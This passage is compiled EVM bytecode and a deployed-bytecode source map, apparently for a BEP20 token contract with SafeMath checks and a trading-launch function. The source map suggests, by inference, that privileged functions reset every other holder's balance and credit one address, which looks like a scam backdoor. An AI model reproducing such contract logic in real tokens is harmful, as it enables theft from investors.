0000000000000000000000000000000000000000000000008152600401611d76906128b6565b60405180910390fd5b8183611d8b91906128d4565b905092915050565b5f5f8284611da19190612907565b905083811015611de6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ddd90612984565b60405180910390fd5b8091505092915050565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541115611f38575f5f90505f5f90505b600580549050811015611ecf578273ffffffffffffffffffffffffffffffffffffffff1660058281548110611e7657611e75612317565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603611ec25760019150611ecf565b8080600101915050611e3e565b5080611f3657600582908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b505b50565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611f7d82611f3b565b611f878185611f45565b9350611f97818560208601611f55565b611fa081611f63565b840191505092915050565b5f6020820190508181035f830152611fc38184611f73565b905092915050565b5f5ffd5b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611ffc82611fd3565b9050919050565b61200c81611ff2565b8114612016575f5ffd5b50565b5f8135905061202781612003565b92915050565b5f819050919050565b61203f8161202d565b8114612049575f5ffd5b50565b5f8135905061205a81612036565b92915050565b5f5f6040838503121561207657612075611fcb565b5b5f61208385828601612019565b92505060206120948582860161204c565b9150509250929050565b5f8115159050919050565b6120b28161209e565b82525050565b5f6020820190506120cb5f8301846120a9565b92915050565b6120da8161202d565b82525050565b5f6020820190506120f35f8301846120d1565b92915050565b5f5f5f606084860312156121105761210f611fcb565b5b5f61211d86828701612019565b935050602061212e86828701612019565b925050604061213f8682870161204c565b9150509250925092565b5f60ff82169050919050565b61215e81612149565b82525050565b5f6020820190506121775f830184612155565b92915050565b5f6020828403121561219257612191611fcb565b5b5f61219f84828501612019565b91505092915050565b6121b181611ff2565b82525050565b5f6020820190506121ca5f8301846121a8565b92915050565b5f5ffd5b5f5ffd5b5f5ffd5b5f5f83601f8401126121f1576121f06121d0565b5b8235905067ffffffffffffffff81111561220e5761220d6121d4565b5b60208301915083602082028301111561222a576122296121d8565b5b9250929050565b5f5f6020838503121561224757612246611fcb565b5b5f83013567ffffffffffffffff81111561226457612263611fcf565b5b612270858286016121dc565b92509250509250929050565b5f5f6040838503121561229257612291611fcb565b5b5f61229f85828601612019565b92505060206122b085828601612019565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806122fe57607f821691505b602082108103612311576123106122ba565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b60018511156123c6578086048111156123a2576123a1612344565b5b60018516156123b15780820291505b80810290506123bf85612371565b9450612386565b94509492505050565b5f826123de5760019050612499565b816123eb575f9050612499565b8160018114612401576002811461240b5761243a565b6001915050612499565b60ff84111561241d5761241c612344565b5b8360020a91508482111561243457612433612344565b5b50612499565b5060208310610133831016604e8410600b841016171561246f5782820a90508381111561246a57612469612344565b5b612499565b61247c848484600161237d565b9250905081840481111561249357612492612344565b5b81810290505b9392505050565b5f6124aa8261202d565b91506124b583612149565b92506124e27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846123cf565b905092915050565b5f6124f48261202d565b91506124ff8361202d565b925082820261250d8161202d565b9150828204841483151761252457612523612344565b5b5092915050565b5f819050919050565b5f819050919050565b5f61255761255261254d8461252b565b612534565b61202d565b9050919050565b6125678161253d565b82525050565b5f6020820190506125805f83018461255e565b92915050565b7f54726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6125ba601783611f45565b91506125c582612586565b602082019050919050565b5f6020820190508181035f8301526125e7816125ae565b9050919050565b5f815190506125fc81612003565b92915050565b5f6020828403121561261757612616611fcb565b5b5f612624848285016125ee565b91505092915050565b5f6040820190506126405f8301856121a8565b61264d60208301846121a8565b9392505050565b5f819050919050565b5f61267761267261266d84612654565b612534565b61202d565b9050919050565b6126878161265d565b82525050565b5f60c0820190506126a05f8301896121a8565b6126ad60208301886120d1565b6126ba604083018761267e565b6126c7606083018661267e565b6126d460808301856121a8565b6126e160a08301846120d1565b979650505050505050565b5f815190506126fa81612036565b92915050565b5f5f5f6060848603121561271757612716611fcb565b5b5f612724868287016126ec565b9350506020612735868287016126ec565b9250506040612746868287016126ec565b9150509250925092565b7f42455032303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6127aa602483611f45565b91506127b582612750565b604082019050919050565b5f6020820190508181035f8301526127d78161279e565b9050919050565b7f42455032303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612838602283611f45565b9150612843826127de565b604082019050919050565b5f6020820190508181035f8301526128658161282c565b9050919050565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f7700005f82015250565b5f6128a0601e83611f45565b91506128ab8261286c565b602082019050919050565b5f6020820190508181035f8301526128cd81612894565b9050919050565b5f6128de8261202d565b91506128e98361202d565b925082820390508181111561290157612900612344565b5b92915050565b5f6129118261202d565b915061291c8361202d565b925082820190508082111561293457612933612344565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61296e601b83611f45565b91506129798261293a565b602082019050919050565b5f6020820190508181035f83015261299b81612962565b905091905056fea26469706673582212201b545b555292856a4a715f2c03f560a1475c356fff030e5bf68b596a56a7733264736f6c634300081c0033

Deployed Bytecode Sourcemap

3022:8163:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9665:92;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10384:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7761:592;;;;;;;;;;;;;:::i;:::-;;9969:108;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10913:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9869:92;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6519:585;;;;;;;;;;;;;:::i;:::-;;3921:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10085:132;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2318:148;;;;;;;;;;;;;:::i;:::-;;1937:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8360:276;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9765:96;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8646:266;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5789:173;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7114:631;;;;;;;;;;;;;:::i;:::-;;10225:151;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8920:665;;;;;;;;;;;;;:::i;:::-;;2116:194;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9665:92;9711:13;9744:5;9737:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9665:92;:::o;10384:167::-;10467:4;10484:37;10493:10;10505:7;10514:6;10484:8;:37::i;:::-;10539:4;10532:11;;10384:167;;;;:::o;7761:592::-;6480:12;:10;:12::i;:::-;6461:31;;:15;;;;;;;;;;;:31;;;6453:40;;;;;;7821:9:::1;7833:1;7821:13;;7816:530;7840:9;:16;;;;7836:1;:20;7816:530;;;7878:16;7897:9;7907:1;7897:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;7878:31;;7966:4;7946:25;;:8;:25;;;;:66;;;;;8005:7;:5;:7::i;:::-;7993:19;;:8;:19;;;;7946:66;:113;;;;;8046:13;;;;;;;;;;;8034:25;;:8;:25;;;;7946:113;:159;;;;;3495:42;8081:24;;:8;:24;;;;7946:159;:209;;;;;3589:42;8126:29;;:8;:29;;;;7946:209;:258;;;;;8189:15;;;;;;;;;;;8177:27;;:8;:27;;;;7946:258;:310;;;;;3685:42;8225:31;;:8;:31;;;;7946:310;7924:411;;;8318:1;8291:14;:24;8306:8;8291:24;;;;;;;;;;;;;;;:28;;;;7924:411;7863:483;7858:3;;;;;;;7816:530;;;;7761:592::o:0;9969:108::-;10030:7;3199:1;3265:2;:13;;;;:::i;:::-;3247:15;:31;;;;:::i;:::-;10050:19;;9969:108;:::o;10913:269::-;11011:4;11028:36;11038:6;11046:9;11057:6;11028:9;:36::i;:::-;11075:77;11084:6;11092:12;:10;:12::i;:::-;11106:45;11144:6;11106:11;:19;11118:6;11106:19;;;;;;;;;;;;;;;:33;11126:12;:10;:12::i;:::-;11106:33;;;;;;;;;;;;;;;;:37;;:45;;;;:::i;:::-;11075:8;:77::i;:::-;11170:4;11163:11;;10913:269;;;;;:::o;9869:92::-;9919:5;3199:1;9937:16;;9869:92;:::o;6519:585::-;2075:12;:10;:12::i;:::-;2064:23;;:7;:5;:7::i;:::-;:23;;;2056:32;;;;;;6572:9:::1;6584:1;6572:13;;6567:530;6591:9;:16;;;;6587:1;:20;6567:530;;;6629:16;6648:9;6658:1;6648:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;6629:31;;6717:4;6697:25;;:8;:25;;;;:66;;;;;6756:7;:5;:7::i;:::-;6744:19;;:8;:19;;;;6697:66;:113;;;;;6797:13;;;;;;;;;;;6785:25;;:8;:25;;;;6697:113;:159;;;;;3495:42;6832:24;;:8;:24;;;;6697:159;:209;;;;;3589:42;6877:29;;:8;:29;;;;6697:209;:258;;;;;6940:15;;;;;;;;;;;6928:27;;:8;:27;;;;6697:258;:310;;;;;3685:42;6976:31;;:8;:31;;;;6697:310;6675:411;;;7069:1;7042:14;:24;7057:8;7042:24;;;;;;;;;;;;;;;:28;;;;6675:411;6614:483;6609:3;;;;;;;6567:530;;;;6519:585::o:0;3921:26::-;;;;:::o;10085:132::-;10159:7;10186:14;:23;10201:7;10186:23;;;;;;;;;;;;;;;;10179:30;;10085:132;;;:::o;2318:148::-;2075:12;:10;:12::i;:::-;2064:23;;:7;:5;:7::i;:::-;:23;;;2056:32;;;;;;2425:1:::1;2388:40;;2409:6;;;;;;;;;;;2388:40;;;;;;;;;;;;2456:1;2439:6;;:19;;;;;;;;;;;;;;;;;;2318:148::o:0;1937:79::-;1975:7;2002:6;;;;;;;;;;;1995:13;;1937:79;:::o;8360:276::-;6480:12;:10;:12::i;:::-;6461:31;;:15;;;;;;;;;;;:31;;;6453:40;;;;;;8450:9:::1;8462:1;8450:13;;8445:188;8469:18;;:25;;8465:1;:29;8445:188;;;8552:1;8512:14;:37;8527:18;;8546:1;8527:21;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;8512:37;;;;;;;;;;;;;;;:41;;;;8619:1;8579:46;;8588:18;;8607:1;8588:21;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;8579:46;;;8623:1;8579:46;;;;;;:::i;:::-;;;;;;;;8496:3;;;;;;;8445:188;;;;8360:276:::0;;:::o;9765:96::-;9813:13;9846:7;9839:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9765:96;:::o;8646:266::-;6480:12;:10;:12::i;:::-;6461:31;;:15;;;;;;;;;;;:31;;;6453:40;;;;;;3199:1:::1;8788:2;:15;;;;:::i;:::-;3199:1;3265:2;:13;;;;:::i;:::-;3247:15;:31;;;;:::i;:::-;8773:30;;;;:::i;:::-;8733:14;:37;8748:21;8733:37;;;;;;;;;;;;;;;:70;;;;8869:1;8829:75;;8838:21;8829:75;;;3199:1;8888:2;:15;;;;:::i;:::-;3199:1;3265:2;:13;;;;:::i;:::-;3247:15;:31;;;;:::i;:::-;8873:30;;;;:::i;:::-;8829:75;;;;;;:::i;:::-;;;;;;;;8646:266:::0;:::o;5789:173::-;5875:4;5892:40;5902:10;5914:9;5925:6;5892:9;:40::i;:::-;5950:4;5943:11;;5789:173;;;;:::o;7114:631::-;7184:12;:10;:12::i;:::-;7164:32;;:16;;;;;;;;;;;:32;;;7156:41;;;;;;7213:9;7225:1;7213:13;;7208:530;7232:9;:16;;;;7228:1;:20;7208:530;;;7270:16;7289:9;7299:1;7289:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;7270:31;;7358:4;7338:25;;:8;:25;;;;:66;;;;;7397:7;:5;:7::i;:::-;7385:19;;:8;:19;;;;7338:66;:113;;;;;7438:13;;;;;;;;;;;7426:25;;:8;:25;;;;7338:113;:159;;;;;3495:42;7473:24;;:8;:24;;;;7338:159;:209;;;;;3589:42;7518:29;;:8;:29;;;;7338:209;:258;;;;;7581:15;;;;;;;;;;;7569:27;;:8;:27;;;;7338:258;:310;;;;;3685:42;7617:31;;:8;:31;;;;7338:310;7316:411;;;7710:1;7683:14;:24;7698:8;7683:24;;;;;;;;;;;;;;;:28;;;;7316:411;7255:483;7250:3;;;;;;;7208:530;;;;7114:631::o;10225:151::-;10314:7;10341:11;:18;10353:5;10341:18;;;;;;;;;;;;;;;:27;10360:7;10341:27;;;;;;;;;;;;;;;;10334:34;;10225:151;;;;:::o;8920:665::-;2075:12;:10;:12::i;:::-;2064:23;;:7;:5;:7::i;:::-;:23;;;2056:32;;;;;;8983:11:::1;;;;;;;;;;;8982:12;8974:48;;;;;;;;;;;;:::i;:::-;;;;;;;;;9072:42;9035:15;;:80;;;;;;;;;;;;;;;;;;9160:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9142:55;;;9206:4;9213:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9142:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9126:13;;:110;;;;;;;;;;;;;;;;;;9247:63;9264:4;9279:15;;;;;;;;;;;3199:1;3265:2;:13;;;;:::i;:::-;3247:15;:31;;;;:::i;:::-;9247:8;:63::i;:::-;9323:15;;;;;;;;;;;:31;;;9362:21;9407:4;9427:24;9445:4;9427:9;:24::i;:::-;9466:1;9482;9498:7;:5;:7::i;:::-;9520:15;9323:223;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;9573:4;9559:11;;:18;;;;;;;;;;;;;;;;;;8920:665::o:0;2116:194::-;2075:12;:10;:12::i;:::-;2064:23;;:7;:5;:7::i;:::-;:23;;;2056:32;;;;;;2217:1:::1;2197:22;;:8;:22;;::::0;2189:31:::1;;;;;;2265:8;2236:38;;2257:6;;;;;;;;;;;2236:38;;;;;;;;;;;;2294:8;2285:6;;:17;;;;;;;;;;;;;;;;;;2116:194:::0;:::o;10559:346::-;10678:1;10661:19;;:5;:19;;;10653:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10759:1;10740:21;;:7;:21;;;10732:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10843:6;10813:11;:18;10825:5;10813:18;;;;;;;;;;;;;;;:27;10832:7;10813:27;;;;;;;;;;;;;;;:36;;;;10881:7;10865:32;;10874:5;10865:32;;;10890:6;10865:32;;;;;;:::i;:::-;;;;;;;;10559:346;;;:::o;1556:98::-;1609:7;1636:10;1629:17;;1556:98;:::o;5968:440::-;6084:1;6066:20;;:6;:20;;;6058:29;;;;;;6127:1;6106:23;;:9;:23;;;6098:32;;;;;;6168:34;6195:6;6168:14;:22;6183:6;6168:22;;;;;;;;;;;;;;;;:26;;:34;;;;:::i;:::-;6143:14;:22;6158:6;6143:22;;;;;;;;;;;;;;;:59;;;;6241:37;6271:6;6241:14;:25;6256:9;6241:25;;;;;;;;;;;;;;;;:29;;:37;;;;:::i;:::-;6213:14;:25;6228:9;6213:25;;;;;;;;;;;;;;;:65;;;;6289:22;6304:6;6289:14;:22::i;:::-;6322:25;6337:9;6322:14;:25::i;:::-;6382:9;6365:35;;6374:6;6365:35;;;6393:6;6365:35;;;;;;:::i;:::-;;;;;;;;5968:440;;;:::o;976:158::-;1034:7;1067:1;1062;:6;;1054:49;;;;;;;;;;;;:::i;:::-;;;;;;;;;1125:1;1121;:5;;;;:::i;:::-;1114:12;;976:158;;;;:::o;789:179::-;847:7;867:9;883:1;879;:5;;;;:::i;:::-;867:17;;908:1;903;:6;;895:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;959:1;952:8;;;789:179;;;;:::o;5343:440::-;5434:1;5408:14;:23;5423:7;5408:23;;;;;;;;;;;;;;;;:27;5404:372;;;5452:11;5466:5;5452:19;;5491:9;5503:1;5491:13;;5486:194;5510:9;:16;;;;5506:1;:20;5486:194;;;5572:7;5556:23;;:9;5566:1;5556:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;:23;;;5552:113;;5613:4;5604:13;;5640:5;;5552:113;5528:3;;;;;;;5486:194;;;;5699:6;5694:71;;5726:9;5741:7;5726:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5694:71;5437:339;5404:372;5343:440;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1446:117;1555:1;1552;1545:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:86::-;4351:7;4391:4;4384:5;4380:16;4369:27;;4316:86;;;:::o;4408:112::-;4491:22;4507:5;4491:22;:::i;:::-;4486:3;4479:35;4408:112;;:::o;4526:214::-;4615:4;4653:2;4642:9;4638:18;4630:26;;4666:67;4730:1;4719:9;4715:17;4706:6;4666:67;:::i;:::-;4526:214;;;;:::o;4746:329::-;4805:6;4854:2;4842:9;4833:7;4829:23;4825:32;4822:119;;;4860:79;;:::i;:::-;4822:119;4980:1;5005:53;5050:7;5041:6;5030:9;5026:22;5005:53;:::i;:::-;4995:63;;4951:117;4746:329;;;;:::o;5081:118::-;5168:24;5186:5;5168:24;:::i;:::-;5163:3;5156:37;5081:118;;:::o;5205:222::-;5298:4;5336:2;5325:9;5321:18;5313:26;;5349:71;5417:1;5406:9;5402:17;5393:6;5349:71;:::i;:::-;5205:222;;;;:::o;5433:117::-;5542:1;5539;5532:12;5556:117;5665:1;5662;5655:12;5679:117;5788:1;5785;5778:12;5819:568;5892:8;5902:6;5952:3;5945:4;5937:6;5933:17;5929:27;5919:122;;5960:79;;:::i;:::-;5919:122;6073:6;6060:20;6050:30;;6103:18;6095:6;6092:30;6089:117;;;6125:79;;:::i;:::-;6089:117;6239:4;6231:6;6227:17;6215:29;;6293:3;6285:4;6277:6;6273:17;6263:8;6259:32;6256:41;6253:128;;;6300:79;;:::i;:::-;6253:128;5819:568;;;;;:::o;6393:559::-;6479:6;6487;6536:2;6524:9;6515:7;6511:23;6507:32;6504:119;;;6542:79;;:::i;:::-;6504:119;6690:1;6679:9;6675:17;6662:31;6720:18;6712:6;6709:30;6706:117;;;6742:79;;:::i;:::-;6706:117;6855:80;6927:7;6918:6;6907:9;6903:22;6855:80;:::i;:::-;6837:98;;;;6633:312;6393:559;;;;;:::o;6958:474::-;7026:6;7034;7083:2;7071:9;7062:7;7058:23;7054:32;7051:119;;;7089:79;;:::i;:::-;7051:119;7209:1;7234:53;7279:7;7270:6;7259:9;7255:22;7234:53;:::i;:::-;7224:63;;7180:117;7336:2;7362:53;7407:7;7398:6;7387:9;7383:22;7362:53;:::i;:::-;7352:63;;7307:118;6958:474;;;;;:::o;7438:180::-;7486:77;7483:1;7476:88;7583:4;7580:1;7573:15;7607:4;7604:1;7597:15;7624:320;7668:6;7705:1;7699:4;7695:12;7685:22;;7752:1;7746:4;7742:12;7773:18;7763:81;;7829:4;7821:6;7817:17;7807:27;;7763:81;7891:2;7883:6;7880:14;7860:18;7857:38;7854:84;;7910:18;;:::i;:::-;7854:84;7675:269;7624:320;;;:::o;7950:180::-;7998:77;7995:1;7988:88;8095:4;8092:1;8085:15;8119:4;8116:1;8109:15;8136:180;8184:77;8181:1;8174:88;8281:4;8278:1;8271:15;8305:4;8302:1;8295:15;8322:102;8364:8;8411:5;8408:1;8404:13;8383:34;;8322:102;;;:::o;8430:848::-;8491:5;8498:4;8522:6;8513:15;;8546:5;8537:14;;8560:712;8581:1;8571:8;8568:15;8560:712;;;8676:4;8671:3;8667:14;8661:4;8658:24;8655:50;;;8685:18;;:::i;:::-;8655:50;8735:1;8725:8;8721:16;8718:451;;;9150:4;9143:5;9139:16;9130:25;;8718:451;9200:4;9194;9190:15;9182:23;;9230:32;9253:8;9230:32;:::i;:::-;9218:44;;8560:712;;;8430:848;;;;;;;:::o;9284:1073::-;9338:5;9529:8;9519:40;;9550:1;9541:10;;9552:5;;9519:40;9578:4;9568:36;;9595:1;9586:10;;9597:5;;9568:36;9664:4;9712:1;9707:27;;;;9748:1;9743:191;;;;9657:277;;9707:27;9725:1;9716:10;;9727:5;;;9743:191;9788:3;9778:8;9775:17;9772:43;;;9795:18;;:::i;:::-;9772:43;9844:8;9841:1;9837:16;9828:25;;9879:3;9872:5;9869:14;9866:40;;;9886:18;;:::i;:::-;9866:40;9919:5;;;9657:277;;10043:2;10033:8;10030:16;10024:3;10018:4;10015:13;10011:36;9993:2;9983:8;9980:16;9975:2;9969:4;9966:12;9962:35;9946:111;9943:246;;;10099:8;10093:4;10089:19;10080:28;;10134:3;10127:5;10124:14;10121:40;;;10141:18;;:::i;:::-;10121:40;10174:5;;9943:246;10214:42;10252:3;10242:8;10236:4;10233:1;10214:42;:::i;:::-;10199:57;;;;10288:4;10283:3;10279:14;10272:5;10269:25;10266:51;;;10297:18;;:::i;:::-;10266:51;10346:4;10339:5;10335:16;10326:25;;9284:1073;;;;;;:::o;10363:281::-;10421:5;10445:23;10463:4;10445:23;:::i;:::-;10437:31;;10489:25;10505:8;10489:25;:::i;:::-;10477:37;;10533:104;10570:66;10560:8;10554:4;10533:104;:::i;:::-;10524:113;;10363:281;;;;:::o;10650:410::-;10690:7;10713:20;10731:1;10713:20;:::i;:::-;10708:25;;10747:20;10765:1;10747:20;:::i;:::-;10742:25;;10802:1;10799;10795:9;10824:30;10842:11;10824:30;:::i;:::-;10813:41;;11003:1;10994:7;10990:15;10987:1;10984:22;10964:1;10957:9;10937:83;10914:139;;11033:18;;:::i;:::-;10914:139;10698:362;10650:410;;;;:::o;11066:85::-;11111:7;11140:5;11129:16;;11066:85;;;:::o;11157:60::-;11185:3;11206:5;11199:12;;11157:60;;;:::o;11223:158::-;11281:9;11314:61;11332:42;11341:32;11367:5;11341:32;:::i;:::-;11332:42;:::i;:::-;11314:61;:::i;:::-;11301:74;;11223:158;;;:::o;11387:147::-;11482:45;11521:5;11482:45;:::i;:::-;11477:3;11470:58;11387:147;;:::o;11540:238::-;11641:4;11679:2;11668:9;11664:18;11656:26;;11692:79;11768:1;11757:9;11753:17;11744:6;11692:79;:::i;:::-;11540:238;;;;:::o;11784:173::-;11924:25;11920:1;11912:6;11908:14;11901:49;11784:173;:::o;11963:366::-;12105:3;12126:67;12190:2;12185:3;12126:67;:::i;:::-;12119:74;;12202:93;12291:3;12202:93;:::i;:::-;12320:2;12315:3;12311:12;12304:19;;11963:366;;;:::o;12335:419::-;12501:4;12539:2;12528:9;12524:18;12516:26;;12588:9;12582:4;12578:20;12574:1;12563:9;12559:17;12552:47;12616:131;12742:4;12616:131;:::i;:::-;12608:139;;12335:419;;;:::o;12760:143::-;12817:5;12848:6;12842:13;12833:22;;12864:33;12891:5;12864:33;:::i;:::-;12760:143;;;;:::o;12909:351::-;12979:6;13028:2;13016:9;13007:7;13003:23;12999:32;12996:119;;;13034:79;;:::i;:::-;12996:119;13154:1;13179:64;13235:7;13226:6;13215:9;13211:22;13179:64;:::i;:::-;13169:74;;13125:128;12909:351;;;;:::o;13266:332::-;13387:4;13425:2;13414:9;13410:18;13402:26;;13438:71;13506:1;13495:9;13491:17;13482:6;13438:71;:::i;:::-;13519:72;13587:2;13576:9;13572:18;13563:6;13519:72;:::i;:::-;13266:332;;;;;:::o;13604:85::-;13649:7;13678:5;13667:16;;13604:85;;;:::o;13695:158::-;13753:9;13786:61;13804:42;13813:32;13839:5;13813:32;:::i;:::-;13804:42;:::i;:::-;13786:61;:::i;:::-;13773:74;;13695:158;;;:::o;13859:147::-;13954:45;13993:5;13954:45;:::i;:::-;13949:3;13942:58;13859:147;;:::o;14012:807::-;14261:4;14299:3;14288:9;14284:19;14276:27;;14313:71;14381:1;14370:9;14366:17;14357:6;14313:71;:::i;:::-;14394:72;14462:2;14451:9;14447:18;14438:6;14394:72;:::i;:::-;14476:80;14552:2;14541:9;14537:18;14528:6;14476:80;:::i;:::-;14566;14642:2;14631:9;14627:18;14618:6;14566:80;:::i;:::-;14656:73;14724:3;14713:9;14709:19;14700:6;14656:73;:::i;:::-;14739;14807:3;14796:9;14792:19;14783:6;14739:73;:::i;:::-;14012:807;;;;;;;;;:::o;14825:143::-;14882:5;14913:6;14907:13;14898:22;;14929:33;14956:5;14929:33;:::i;:::-;14825:143;;;;:::o;14974:663::-;15062:6;15070;15078;15127:2;15115:9;15106:7;15102:23;15098:32;15095:119;;;15133:79;;:::i;:::-;15095:119;15253:1;15278:64;15334:7;15325:6;15314:9;15310:22;15278:64;:::i;:::-;15268:74;;15224:128;15391:2;15417:64;15473:7;15464:6;15453:9;15449:22;15417:64;:::i;:::-;15407:74;;15362:129;15530:2;